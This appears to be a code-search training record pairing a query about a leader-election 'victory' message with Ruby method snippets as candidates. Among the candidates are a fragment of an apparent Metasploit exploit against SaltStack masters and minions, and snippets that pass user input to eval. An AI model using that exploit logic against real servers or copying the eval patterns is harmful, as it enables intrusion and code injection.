"def ask_question\n @game_id = params[:game_id]\n @current_game = Game.find(@game_id)\n @bonus = params[:bonus]\n unless @current_game.players_turn?(current_user.id)\n back_to_index and return\n end\n\n if @current_game.normal_round?\n subject_title = params[:subject]\n @subject = subject_title\n @questions = Question.questions_by_user_experience(current_user.experience_level, @subject)\n @question = @questions.sample\n elsif @current_game.challenge_round?\n @challenge = Challenge::get_ongoing_challenge_by_game(@current_game.id)\n if @challenge\n @question = Question.find(@challenge.get_question_id_by_counter)\n @subject = @question.subject_title\n elsif @challenge.nil?\n wager = params[:wager]\n prize = params[:prize]\n if wager && prize\n @challenge = Challenge.create_challenge(@current_game.id, current_user.id, @current_game.opponent_id(current_user.id), wager, prize)\n else\n redirect_to game_challenge_path(:game_id => @current_game.id)\n end\n end\n end\n if @question\n respond_to do |format|\n format.html\n format.xml { render :xml => @question }\n end\n end\n end",
"def submit_enquiry(enquiry)\n @enquiry = enquiry\n mail(:subject => \"new enquiry from #{enquiry.name}\")\n end",
"def new_answer(answer, commenter, author, question)\n if author.privacy_setting.notify_on_answer\n @answer, @commenter, @author, @question = answer, commenter, author, question\n mail(\n :subject => \"#{@commenter.name.titleize} just answered your question.\",\n :from => \"noreply@studyhall.com\",\n :to => author.email,\n :date => Time.now\n )\n end\n end",
"def customer_support(question, email)\n new_ticket = Slack::Notifier.new ENV['slack_webhook_url'],\n channel: \"#customer-support\",\n username: self.username\n message = \"#{self.username} asks #{question}. Email: #{email}\"\n new_ticket.ping message\n\n message\n end",
"def send_reply\n if self.response_changed?\n @notifiable = self\n @tutor = User.find(self.user_id)\n @student = User.find(self.pupil_id)\n\n if self.response == \"Declined\"\n @description = self.pupil.title + \" has sadly declined your offer\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You hve declined the offer by ' + @tutor.title)\n else\n @description = self.pupil.title + \" is now a student at your school\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You are now a student of ' + @tutor.title)\n end\n @notifiable.notifications.create(:user => @student, :receiver_id => @tutor.id, :message => @description)\n end\n end",
"def answered_by\r\n answer_response.answerer\r\n end",
"def inquiry(inquiry)\n @inquiry = inquiry\n @greeting = \"咨询\"\n\n mail to: \"cvsend@139.com\", subject:\"有人咨询\", temlate_path: 'refer_notifier',template_name: 'inquiry'\n end",
"def fence_quest; end",
"def response(expo_attendee_id)\n @expo_attendee = ExpoAttendee.find(expo_attendee_id)\n mail(to: @expo_attendee.email, subject: \"#{@expo_attendee.first_name} , you've entered the draw to win two free movie tickets.\")\n end",
"def received(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo BioPharma Inquiry Confirmation'\n end",
"def enq(*args)\r\n app.enq(self, args)\r\n end",
"def peacekeeper_quest; end",
"def confirmacionordenmesexp\n RemisorOrdenesCompraMailer.confirmacionordenmesexp\n end",
"def answer\n question = Question.joins(:subscriptions, :answers).first\n raise \"No subsriptions, cannot create sample\" if question.nil?\n CustomMailer.answer(question.user, question.answers.first)\n end",
"def question_answered(user, ig_media_id)\n @user = user\n @request = Request.where(:photo_id => Photo.where(:ig_media_id => ig_media_id).first.id).first\n #... send email to user telling him that his question was answered\n\n mail to: @user.email, subject: \"Your question on #{@request.photo.venue.name} has been answered\"\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def ask_questionaire\n alert_reserved_and_exit if git.reserved_branch?\n announce\n ask_title\n ask_label\n ask_pivotal_ids if config.use_pivotal_tracker\n ask_jira_ids if config.use_jira\n end",
"def confirm(question)\n new_scope.agree(question.confirm_question(self))\n end",
"def came_question\n @user = @receiver\n @notification = @user.notifications.find_by(path: \"/questions/#{@question.id}\")\n mail to: @user.email, subject: \"[bootcamp] #{@question.user.login_name}さんから質問がありました。\"\n end",
"def responded_to?(kase)\n !!self.responses.find(:first, :conditions => [\"responses.kase_id = ?\", kase.id])\n end",
"def ask_user_question\n return unless (@target = find_or_goto_index(User, params[:id].to_s)) &&\n can_email_user_question?(@target) &&\n request.method == \"POST\"\n\n subject = params[:email][:subject]\n content = params[:email][:content]\n QueuedEmail::UserQuestion.create_email(@user, @target, subject, content)\n flash_notice(:runtime_ask_user_question_success.t)\n redirect_to(user_path(@target.id))\n end",
"def reply\n if acknowledged?\n replies.first\n else\n nil\n end\n end",
"def ask_question_and_check_answer\n question = MathGame::Question.new\n puts \"#{@turn}: #{question.display_question}\"\n question.obtain_answer\n question.display_message_on_answer\n question.correct?\n end",
"def confirm(viper)\n @viper = viper\n if @viper.app_type == \"vip\"\n mail(to: @viper.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"fair@ewatch.cn\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的买家:\n恭喜您!您所提交的资料已经审核通过,随后我们将会安排相关的工作人员与您联系,请您携带有效证件(身份证及名片)到展会现场VIP接待处领取VIP买家证。\n\n\n展览时间:\n2015-06-25 至 2015-06-28 \n\n展览地点: \n深圳会展中心(1、9号馆) \n\n参观规则: \n §Exhibit_Rule§ \n\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国(深圳)国际钟表展览会 \n电话:0755-82945180\n传真:0755-82941162 \n通信地址:深圳市福田保税区市花路福年广场B栋302室\n邮箱:davy@ewatch.cn\n\n\"\n )\n else\n mail( to: @viper.email,\n subject: \"您的申请已经审核通过\",\n from: \"fair@ewatch.cn\",\n date: Time.now,\n body: \"亲爱的客户:\n恭喜您!您所提交的资料已经审核通过,随后我们将会安排相关的工作人员与您联系,请您携带有效证件(身份证、参展商证)到展会现场领取晶品荟招待卡。\n\n\n\n\n展览时间:\n2015-06-25 至 2015-06-28 \n\n展览地点: \n深圳会展中心(1、9号馆) \n\n参观规则: \n §Exhibit_Rule§ \n\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国(深圳)国际钟表展览会 \n电话:0755-82945180\n传真:0755-82941162 \n通信地址:深圳市福田保税区市花路福年广场B栋302室\n邮箱:davy@ewatch.cn\n\")\n end\n end",
"def ask(question)\n answer = 'n'\n answer = 'y' if agree(\"#{question} (y/n) \")\n answer\n end",
"def ask_questions\n super\n print \"What was your reason for joining? \"\n self.reason_for_joining = gets.strip.chomp\n end",
"def ask_for_recipient\n\n end",
"def mobile_enquiry(user_input_tokens)\n phone_enquiry(user_input_tokens)\n end",
"def evaluate_answer(key,answer,options)\n correct = false\n if options['q_struct'][key].eval != \"no\"\n new_value = options['q_struct'][key].eval\n if new_value.match(/^get|^set/)\n if new_value.match(/^get/)\n new_value = eval\"[#{new_value}]\"\n answer = new_value.join\n options['q_struct'][key].value = answer\n else\n options['q_struct'][key].value = answer\n eval\"[#{new_value}]\"\n end\n correct = true\n else\n correct = eval\"[#{new_value}]\"\n if correct == true\n options['q_struct'][key].value = answer\n end\n end\n else\n correct = true\n end\n answer = answer.to_s\n if options['verbose'] == true\n handle_output(options,\"Information:\\tSetting parameter #{key} to #{answer}\")\n end\n return correct\nend",
"def new_quote_notice(quote)\n @quote = quote\n mail(subject: \"[team] New Enquiry Received\")\n end",
"def check_next_question(msg)\n msg.downcase.include? 'next'\nend",
"def inform(previous_msg)\n msg = previous_msg.create_reply\n msg.performative = \"inform\"\n msg.sender = aid\n send_message(msg)\n end",
"def ask question \n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\treturn true \t\t\t #I like to state return values explictly\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\"'\n\t\tend\n\tend\nend",
"def send_ack\n sock.put('+')\n vprint_status('Sending ack...')\n end",
"def response(opt, enable, who)\n option(opt)\n\n case who\n when :him\n willdo = DO.chr\n wontdont = DONT.chr\n whoq = :himq\n when :us\n willdo = WILL.chr\n wontdont = WONT.chr\n whoq = :usq\n else\n # Error\n end\n\n case @state[opt].send(who)\n when :no\n if enable\n if desired?(opt)\n # If we agree\n @state[opt].send(\"#{who}=\", :yes)\n @pstack.conn.sendmsg(IAC.chr + willdo + opt.chr)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: agreed to enable option #{opt}\")\n else\n # If we disagree\n @pstack.conn.sendmsg(IAC.chr + wontdont + opt.chr)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: disagreed to enable option #{opt}\")\n end\n else\n # Ignore\n end\n when :yes\n if enable\n # Ignore\n else\n @state[opt].send(\"#{who}=\", :no)\n @pstack.conn.sendmsg(IAC.chr + wontdont + opt.chr)\n end\n when :wantno\n if enable\n case @state[opt].send(whoq)\n when :empty\n #Error DONT/WONT answered by WILL/DO\n @state[opt].send(\"#{who}=\", :no)\n when :opposite\n #Error DONT/WONT answered by WILL/DO\n @state[opt].send(\"#{who}=\", :yes)\n @state[opt].send(\"#{whoq}=\", :empty)\n end\n log.error(\"(#{@pstack.conn.object_id}) Telnet negotiation: option #{opt.to_s} DONT/WONT answered by WILL/DO\")\n else\n case @state[opt].send(whoq)\n when :empty\n @state[opt].send(\"#{who}=\", :no)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: agreed to disable option #{opt}\")\n when :opposite\n @state[opt].send(\"#{who}=\", :wantyes)\n @state[opt].send(\"#{whoq}=\", :empty)\n @pstack.conn.sendmsg(IAC.chr + willdo + opt.chr)\n end\n end\n when :wantyes\n if enable\n case @state[opt].send(whoq)\n when :empty\n @state[opt].send(\"#{who}=\", :yes)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: agreed to enable option #{opt}\")\n when :opposite\n @state[opt].send(\"#{who}=\", :wantno)\n @state[opt].send(\"#{whoq}=\", :empty)\n @pstack.conn.sendmsg(IAC.chr + wontdont + opt.chr)\n end\n else\n case @state[opt].send(whoq)\n when :empty\n @state[opt].send(\"#{who}=\", :no)\n log.debug(\"(#{@pstack.conn.object_id}) Telnet negotiation: agreed to disable option #{opt}\")\n when :opposite\n @state[opt].send(\"#{who}=\", :no)\n @state[opt].send(\"#{whoq}=\", :empty)\n end\n end\n end\n end",
"def correct_profile(client, questions)\n\t#create array of keys.\n\tkeys = client.keys\n\t#iterate through keys array and ask client which needs correcting.\n keys.length.times do |iterate|\n p \"Enter #{iterate+1} to update #{keys[iterate]}\"\n end #keys.length.times do\n\t#Evaluate numeric response to a key and re-ask related question.\n\twhich = gets.to_i - 1\n\tclient[keys[which]] = nil\n\teval(questions[keys[which]])\n\treturn client[keys[which]]\nend",
"def create_yatra_enquiry(yatra_enquiry, operator)\n @yatra_enquiry = yatra_enquiry\n @operator = operator\n mail(\n to: @operator.email,\n subject: 'JetSetGo - New Yatra Enquiry Received.'\n )\n end",
"def process_answer(params)\n channel_id = params[:channel_id]\n return process_final(params) if $redis.exists(\"final_category:#{channel_id}\")\n user_id = params[:user_id]\n user_nick = params[\"user_name\"]\n key = \"current_question:#{channel_id}\"\n current_question = $redis.get(key)\n reply = \"\"\n if current_question.nil?\n reply = trebek_me if !$redis.exists(\"shush:answer:#{channel_id}\")\n else\n current_question = JSON.parse(current_question)\n current_answer = current_question[\"answer\"]\n user_answer = params[:text]\n answered_key = \"user_answer:#{channel_id}:#{current_question[\"id\"]}:#{user_id}\"\n if $redis.exists(answered_key)\n reply = \"@#{user_nick}, you had your chance. Let someone else answer.\"\n elsif params[\"timestamp\"].to_f > current_question[\"expiration\"]\n if is_correct_answer?(current_answer, user_answer)\n reply = \"@#{user_nick}: That is correct, but time's up! Remember, you only have #{ENV[\"SECONDS_TO_ANSWER\"]} seconds to answer.\"\n else\n reply = \"@#{user_nick}: Time's up! Remember, you have #{ENV[\"SECONDS_TO_ANSWER\"]} seconds to answer. The correct answer is `#{current_question[\"answer\"]}`.\"\n end\n mark_question_as_answered(channel_id)\n elsif is_question_format?(user_answer) && is_correct_answer?(current_answer, user_answer)\n score = update_score(user_id, current_question[\"value\"])\n reply = \"@#{user_nick}: That is correct. #{trebek_right_score} #{currency_format(score)}.\"\n check_final_jeopardy_valid(channel_id)\n mark_question_as_answered(channel_id)\n elsif is_correct_answer?(current_answer, user_answer)\n score = update_score(user_id, (current_question[\"value\"] * -1))\n reply = \"@#{user_nick}: That is correct, but responses have to be in the form of a question. Your total score is #{currency_format(score)}.\"\n $redis.setex(answered_key, ENV[\"SECONDS_TO_ANSWER\"], \"true\")\n check_final_jeopardy_valid(channel_id)\n else\n score = update_score(user_id, (current_question[\"value\"] * -1))\n reply = \"@#{user_nick}: #{trebek_wrong} #{trebek_wrong_score} #{currency_format(score)}.\"\n $redis.setex(answered_key, ENV[\"SECONDS_TO_ANSWER\"], \"true\")\n end\n end\n reply\nend"
] |
[
"0.6780247",
"0.61642396",
"0.60089475",
"0.5975008",
"0.5964609",
"0.5849009",
"0.58025247",
"0.574858",
"0.574858",
"0.5633289",
"0.5633289",
"0.56029093",
"0.55762976",
"0.5546961",
"0.55153644",
"0.55040205",
"0.54820776",
"0.5471102",
"0.5471102",
"0.54651105",
"0.5448227",
"0.5447659",
"0.54300135",
"0.54242814",
"0.5406354",
"0.5361741",
"0.5349125",
"0.5329122",
"0.5316824",
"0.52858716",
"0.52844477",
"0.52780426",
"0.5261795",
"0.5230772",
"0.522811",
"0.52201325",
"0.5218072",
"0.52079594",
"0.5205141",
"0.5204405",
"0.5202896",
"0.5202827",
"0.5197642",
"0.5193287",
"0.51832986",
"0.5173055",
"0.51620525",
"0.51616055",
"0.51545954",
"0.5148562",
"0.5146039",
"0.51446533",
"0.5137607",
"0.51375854",
"0.5135409",
"0.51243556",
"0.51196134",
"0.5119228",
"0.5117181",
"0.51161784",
"0.51116544",
"0.51105183",
"0.51045877",
"0.5103559",
"0.5079408",
"0.50794077",
"0.5077142",
"0.5075354",
"0.50444996",
"0.504082",
"0.50373566",
"0.5031485",
"0.5031485",
"0.5031485",
"0.5031485",
"0.5031485",
"0.5031485",
"0.5031485",
"0.5027069",
"0.50197303",
"0.5015642",
"0.5013639",
"0.5009234",
"0.500165",
"0.5000112",
"0.49843264",
"0.49784124",
"0.49775782",
"0.49711183",
"0.49679917",
"0.4966339",
"0.496266",
"0.496087",
"0.4949782",
"0.49489698",
"0.4948561",
"0.49468347",
"0.4946525",
"0.4937149",
"0.49343652"
] |
0.7220513
|
0
|
Victory message, sent by a node which believe it is the master. if another has a greater key, it will send a victory message in return. At the end the node with the greatest key will be the master
|
def send_victory()
send_message(:election_victory)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pick_random_key\n satisfied = false\n keys = @@dynamo_nodes.map { |_k,v| v['hash_key']}.sort\n while !satisfied do\n generated_key = SecureRandom.random_number(ENV['DYNAMO_MAX_KEY'].to_i)\n collision = false\n keys.each do |key|\n if (key.to_i - generated_key).abs <= 100\n collision = true\n break\n end\n end\n satisfied = !collision\n end\n @@my_key = generated_key.to_s\n end",
"def key_master\n @key_master ||= KeyMaster.new\n end",
"def winner\n @hash.key(@hash.values.max)\n end",
"def create_key\n self.winner_id = loop do\n random_token = rand.to_s[2..6]\n break random_token unless Winner.exists?(winner_id: random_token)\n end\n end",
"def get_responsible_nodes key\n responsible_hash_keys = []\n if @@dynamo_nodes.size <= ENV['REPLICATION'].to_i\n return @@dynamo_nodes\n end\n responsible_node_key = 0\n previous = 0\n\n sorted_hash_keys = @@dynamo_nodes.sort_by { |_k,v| v.first.second.to_i}.map {|_k,v| v.first.second}\n\n sorted_hash_keys.each do |hash_key|\n #log_message('Comparing key '+key.to_i.to_s+' to hash_key '+hash_key.to_i.to_s)\n if key.to_i <= hash_key.to_i && key.to_i > previous.to_i #key.to_i.between?(previous.to_i,hash_key.to_i)\n responsible_node_key = hash_key\n break\n elsif hash_key.to_i == sorted_hash_keys.last.to_i && hash_key.to_i < key.to_i\n responsible_node_key = sorted_hash_keys.first\n else\n previous = hash_key\n end\n end\n\n sorted_hash_keys.each_with_index do |key, index|\n if key == responsible_node_key\n 3.times.each_with_index { |_e, iterator| responsible_hash_keys << sorted_hash_keys[(index - iterator) % sorted_hash_keys.size]}\n end\n end\n\n @@dynamo_nodes.select { |_k, v| v.first.second.in?(responsible_hash_keys) }\n\n end",
"def resident_key?; end",
"def decrease_key(key, new_key = nil)\n if node = search_key(key)\n if new_key && node.key < new_key \n puts \"the new key is greater than the old one, cause error.\"\n else\n new_key ? node.key = new_key : node.key = get_new_smaller_key(key)\n parent = node.parent\n if parent && node.key < parent.key\n cut(self, node, parent)\n cascading_cut(parent)\n end\n @min = node if node.key < min.key\n end\n node\n else\n puts \"Cannot find that key in heap.\"\n end\n end",
"def create_key\n if @house.find_room(:garden).inventory.include?(\"shovel\") && (@level == 0)\n @house.create_item(\"key\", \"It's a key, but what's it for?\", 10)\n @house.find_room(:garden).inventory << \"key\"\n @house.last_move_message = \"You dug up a key in the garden! What's it for?\"\n @level+=1\n end\n end",
"def check_key2\n while @key2 == @key1\n @key2 = 1 + rand(6)\n end\n end",
"def randomkey\n send_command([:randomkey])\n end",
"def delete_key key\n # decrease that key to new minimum, and extract it out.\n decrease_key key, min.key - 1\n extract_min\n print_heap\n end",
"def shift\n conn.lpop key\n end",
"def resident_key; end",
"def victory\n if self.enemies.count == 0\n self.groups.destroy_all\n if self.owner.present_kingdom && (@tax = (self.gold * self.owner.present_kingdom.tax_rate/100.0).to_i) > 0\n Kingdom.pay_tax(@tax, self.owner.in_kingdom)\n self.update_attribute(:gold, self.gold - @tax)\n end\n PlayerCharacter.transaction do\n self.owner.lock!\n self.owner.gold += self.gold\n self.owner.save!\n end\n @items=[]\n self.items.each{|i| PlayerCharacterItem.update_inventory(self.owner_id,i.item_id,i.quantity)\n @items << i.quantity.to_s + \" \" + (i.quantity > 1 ? i.item.name.pluralize : i.item.name) }\n return {:gold => self.gold, :tax => @tax, :items => @items}\n else\n return false\n end\n end",
"def rekey!; end",
"def rekey!; end",
"def inject_master_node_id(expected_key)\n if cached_values['master']\n expected_key.gsub(/\\$master/, cached_values['master'])\n else\n expected_key\n end\n end",
"def get key\n\t\t\tif @my_hash.has_key? key\n\t\t\t\tnode = @my_hash[key]\n\t\t\t\t@my_list.promote_node node\n\t\t\t\tnode.value\n\t\t\telse\n\t\t\t\tnil\n\t\t\tend\n\t\tend",
"def randomkey; end",
"def randomkey; end",
"def master_node\n {:nodename => @master_nodename}\n end",
"def insert key\n head = union(self, BinomialHeap.new(key))\n h_next = head.sibling\n consolidate(head, h_next)\n end",
"def change_key(key, new_key, delete=false)\n return if @stored[key].nil? || @stored[key].empty? || (key == new_key)\n \n # Must maintain heap property\n raise \"Changing this key would not maintain heap property!\" unless (delete || @compare_fn[new_key, key])\n node = @stored[key].shift\n if node\n node.key = new_key\n @stored[new_key] ||= []\n @stored[new_key] << node\n parent = node.parent\n if parent\n # if heap property is violated\n if delete || @compare_fn[new_key, parent.key]\n cut(node, parent)\n cascading_cut(parent)\n end\n end\n if delete || @compare_fn[node.key, @next.key]\n @next = node\n end\n return [node.key, node.value]\n end\n nil\n end",
"def scard(key); end",
"def scard(key); end",
"def reserve_key(key); end",
"def make_branch connected_nodes_number, avalable_nodes\n nodes = []\n\n num = rand(1..connected_nodes_number)\n\n num = 0 unless num\n\n num.times do\n node = gen_uniq_rand_hash(4, avalable_nodes)\n nodes << node\n\n # increiment the count of each avalable node so we can enforce a limit the\n # number of connections TO each node\n avalable_nodes[node] += 1\n end\n\n nodes\nend",
"def kung_foo_shuffle\n ungrouped_users = self.most_compatible_candidates\n least_compatible_member_comaptibility_score = self.least_compatible_member.memberships.first.compatibility_score\n \n # while the highest-scoring non-grouped user is compatible with this group\n # while the highest-scoring non-grouped user has a higher compatibility score than the least compatible current group member\n # remove least compatible current group member and add the most compatbile non-grouped user\n while !ungrouped_users.empty? and ungrouped_users.first[\"score\"] > least_compatible_member_comaptibility_score\n self.least_compatible_member.memberships.first.destroy\n self.reset_meeting_times\n self.reset_schedule\n self.add_user(ungrouped_users.pop[\"user\"], \"schedule\")\n \n # must update ungrouped_users since group meeting times aren't updated until a \n # user is added to the group with group.add_user\n ungrouped_users = self.most_compatible_candidates\n \n least_compatible_member_comaptibility_score = self.least_compatible_member.memberships.first.compatibility_score\n end\n end",
"def get_big_value(hash_of_crypto)\n big_value = hash_of_crypto.values.sort[-1]\n winner = hash_of_crypto.select { |key, value| value == big_value}\n puts \"La ou les crypto qui ont la plus grosse valeur sont :\"\n if winner.length == 1\n puts \"#{winner.keys[0]} qui a la valeur #{winner.values[0]}\"\n else \n for i in 0...winner.length\n puts \"#{winner.keys[i]} qui a la valeur #{winner.values[i]}\"\n end\n end\nend",
"def its_like_chicago\n assert @voted[msg.sender] && msg.value >= 1.ether\n @voted[msg.sender] = false\nend",
"def msg_KICK(source, args)\n c = Channel.find_by_name(args[0])\n target = User.find(args[1])\n\n # Charybdis checks server-side and rejects kicks on +S clients, no need for\n # rejoin code here.\n\n # TS 0 very unlikely, simply accept it, esp. since our uplink checked\n c.del_user(target)\n target.part(c)\n return nil\n end",
"def update_vote_general player_id, topic_id, vote_target_player_id\n voting_player = Player.find(player_id)\n player_voted = Player.find(vote_target_player_id)\n topic = Topic.find(topic_id)\n \n #if vote was already cast on the target, do nothing\n if voting_player.vote_target_player_id == player_voted.id\n return\n #if vote not cast before\n elsif voting_player.vote_target_player_id == -1\n voting_player.vote_target_player_id = vote_target_player_id\n player_voted.vote_count += 1\n #if vote has already been cast on someone else\n elsif voting_player.vote_target_player_id != -1\n curr_voted = Player.find(voting_player.vote_target_player_id)\n curr_voted.vote_count -= 1\n player_voted.vote_count += 1\n voting_player.vote_target_player_id = vote_target_player_id\n curr_voted.save\n end\n player_voted.save\n voting_player.save\n\n phase = topic.phase\n majority = 0\n if phase == 0\n majority = topic.num_players_alive.to_i / 2 + 1\n elsif phase == 1\n majority = topic.num_mafia / 2 + 1\n end\n if voting_player.affiliation == 0\n if phase == 0\n content = voting_player.player_name + \" has voted for \" + player_voted.player_name\n elsif phase == 1\n content = \"Mafia has selected a target\"\n end\n elsif voting_player.affiliation == 1\n if phase == 0\n content = voting_player.player_name + \" has voted for \" + player_voted.player_name\n elsif phase == 1\n #change content based on player role here\n end\n end\n \n post_system_general(topic_id, content)\n \n if player_voted.vote_count >= majority\n content = \"Majority reached\"\n post_system_general(topic_id, content)\n next_phase_general(topic_id, player_voted.id)\n end\n end",
"def host_key_regen\n send_req(act: :host_key_regen)\n end",
"def update_vote_general player_id, topic_id, vote_target_player_id\n player_voter = Player.find(player_id)\n player_voter.vote_target_player_id = vote_target_player_id\n player_voter.save\n player_voted = Player.find(vote_target_player_id)\n player_voted.vote_count += 1\n player_voted.save\n \n topic = Topic.find(topic_id)\n phase = topic.phase\n majority = 0\n if phase == 0\n majority = topic.num_players_alive.to_i / 2 + 1\n elsif phase == 1\n majority = topic.num_mafia / 2 + 1\n end\n \n content = player_id.to_s + \" has voted for \" + vote_target_player_id.to_s\n post_system_general(topic_id, content)\n \n if player_voted.vote_count >= majority\n content = \"Majority reached\"\n post_system_general(topic_id, content)\n next_phase_general(topic_id, player_voted.id)\n end\n end",
"def key_for(player1, player2)\n if player1.id < player2.id\n \"#{player1.id}/#{player2.id}\"\n else\n \"#{player2.id}/#{player1.id}\"\n end\n end",
"def return_key\n previous_game_state.current_level = @choice\n previous_game_state.state = :idle\n pop_game_state(:setup => false)\n end",
"def promotable_nodes(enslaving_old_master=true)\n # Array of pool members, either including or excluding the old master as requested\n comparisons = nodes.select &:running?\n comparisons.delete master unless enslaving_old_master\n\n # Keep track of up to one \"last resort\" DB, which will only be promoted if\n # there are no other candidates. The score int allows ranking of last resorts,\n # to figure out the \"least bad\" promotion candidate in an emergency.\n last_resort_candidate = nil\n last_resort_score = 0\n last_resort_warning = \"\"\n consider_last_resort = Proc.new do |db, score, warning|\n if last_resort_candidate.nil? || last_resort_score < score\n last_resort_candidate = db\n last_resort_score = score\n last_resort_warning = warning\n end\n end\n\n # Build list of good candidates for promotion\n candidates = nodes.reject {|db| db == master || db.for_backups? || !db.running?}\n candidates.select! do |candidate|\n others = comparisons.reject {|db| db == candidate}\n\n # Node isn't promotable if it's running a higher version of MySQL than any of its future replicas\n next if others.any? {|db| candidate.version_cmp(db) > 0}\n\n if gtid_mode?\n # Ordinarily if gtid_mode is already in use in the pool, gtid_deployment_step\n # should not be enabled anywhere; this likely indicates either an incomplete\n # GTID rollout occurred, or an automation bug elsewhere. Reject the candidate\n # outright, unless the old master is dead, in which case we consider it as a\n # last resort with low score.\n if candidate.gtid_deployment_step?\n unless master.running?\n warning = \"gtid_deployment_step is still enabled (indicating incomplete GTID rollout?), but there's no better candidate\"\n consider_last_resort.call(candidate, 0, warning)\n end\n next\n end\n\n # See if any replicas would break if this candidate becomes master. If any will\n # break, only allow promotion as a last resort, with the score based on what\n # percentage will break\n breaking_count = others.count {|db| candidate.purged_transactions_needed_by? db}\n if breaking_count > 0\n breaking_pct = (100.0 * (breaking_count.to_f / others.length.to_f)).to_int\n score = 100 - breaking_pct\n warning = \"#{breaking_pct}% of replicas will break upon promoting this node, but there's no better candidate\"\n consider_last_resort.call(candidate, score, warning)\n next\n end\n end # gtid_mode checks\n\n # Only consider active slaves to be full candidates if the old master\n # is dead and we don't have GTID. In this situation, an active slave may\n # have the furthest replication progress. But in any other situation,\n # consider active slaves to be last resort, since promoting one would\n # also require converting a standby to be an active slave.\n if candidate.role == :active_slave && (gtid_mode? || master.running?)\n consider_last_resort.call(candidate, 100, \"only promotion candidate is an active slave, since no standby slaves are suitable\")\n next\n end\n\n # If we didn't hit a \"next\" statement in any of the above checks, the node is promotable\n true\n end\n\n if candidates.length == 0 && !last_resort_candidate.nil?\n last_resort_candidate.output \"WARNING: #{last_resort_warning}\"\n candidates << last_resort_candidate\n end\n candidates\n end",
"def exploit\n if target.name.start_with?('Master')\n if (root_key = datastore['ROOT_KEY'])\n print_status(\"User-specified root key: #{root_key}\")\n else\n # check.reason is from auxiliary/gather/saltstack_salt_root_key\n root_key = check.reason\n end\n\n unless root_key\n fail_with(Failure::BadConfig,\n \"#{target['Description']} requires a root key\")\n end\n end\n\n # These are from Msf::Exploit::Remote::ZeroMQ\n zmq_connect\n zmq_negotiate\n\n print_status(\"#{target['Description']}: #{datastore['PAYLOAD']}\")\n\n case target.name\n when /^Master/\n yeet_runner(root_key)\n when /^Minions/\n yeet_send_pub\n end\n\n # HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one\n sleep(wfs_delay)\n rescue EOFError, Rex::ConnectionError => e\n print_error(\"#{e.class}: #{e.message}\")\n ensure\n # This is from Msf::Exploit::Remote::ZeroMQ\n zmq_disconnect\n end",
"def master_promotion!(promoted, enslave_old_master=true)\n demoted = @master\n raise \"Demoted node is already the master of this pool!\" if demoted == promoted\n raise \"Promoted host is not in the right pool!\" unless demoted.slaves.include?(promoted)\n\n output \"Preparing to demote master #{demoted} and promote #{promoted} in its place.\"\n live_promotion = demoted.running?\n\n # If demoted machine is available, confirm it is read-only and binlog isn't moving,\n # and then wait for slaves to catch up to this position. Or if using GTID, only need\n # to wait for new_master to catch up; GTID allows us to repoint lagging slaves without\n # issue.\n if live_promotion\n demoted.enable_read_only!\n raise \"Unable to enable global read-only mode on demoted machine\" unless demoted.read_only?\n raise \"Demoted machine still taking writes (from superuser or replication?) despite being read-only\" if taking_writes?(0.5)\n must_catch_up = (gtid_mode? ? [promoted] : demoted.slaves)\n\n must_catch_up.concurrent_each do |s|\n while demoted.ahead_of? s do\n s.output \"Still catching up to demoted master\"\n sleep 1\n end\n end\n\n # Demoted machine not available -- wait for slaves' binlogs to stop moving\n else\n demoted.slaves.concurrent_each do |s|\n while s.taking_writes?(1.0) do\n # Ensure we're not taking writes because a formerly dead master came back to life\n # In this situation, a human should inspect the old master manually\n raise \"Dead master came back to life, aborting\" if s.replicating?\n s.output \"Still catching up on replication\"\n end\n end\n end\n\n # Stop replication on all slaves\n replicas = demoted.slaves.dup\n replicas.each do |s|\n s.pause_replication if s.replicating?\n end\n raise \"Unable to stop replication on all slaves\" if replicas.any? {|s| s.replicating?}\n\n # Determine options for CHANGE MASTER\n creds = promoted.replication_credentials\n change_master_options = {\n user: creds[:user],\n password: creds[:pass],\n }\n if gtid_mode?\n change_master_options[:auto_position] = true\n promoted.gtid_executed(true)\n else\n change_master_options[:log_file], change_master_options[:log_pos] = promoted.binlog_coordinates\n end\n\n # reset slave on promoted, and make sure read_only is disabled\n promoted.disable_replication!\n promoted.disable_read_only!\n\n # gather our new replicas\n replicas.delete promoted\n replicas << demoted if live_promotion && enslave_old_master\n\n # If old master is dead and we're using GTID, try to catch up the new master\n # from its siblings, in case one of them is further ahead. Currently using the\n # default 5-minute timeout of DB#replay_missing_transactions, gives up after that.\n if gtid_mode? && change_master_options[:auto_position] && !live_promotion\n promoted.replay_missing_transactions(replicas, change_master_options)\n end\n\n # Repoint replicas to the new master\n replicas.each {|r| r.change_master_to(promoted, change_master_options)}\n\n # ensure our replicas are configured correctly by comparing our staged values to current values of replicas\n promoted_replication_config = {\n master_host: promoted.ip,\n master_user: change_master_options[:user],\n }\n if gtid_mode?\n 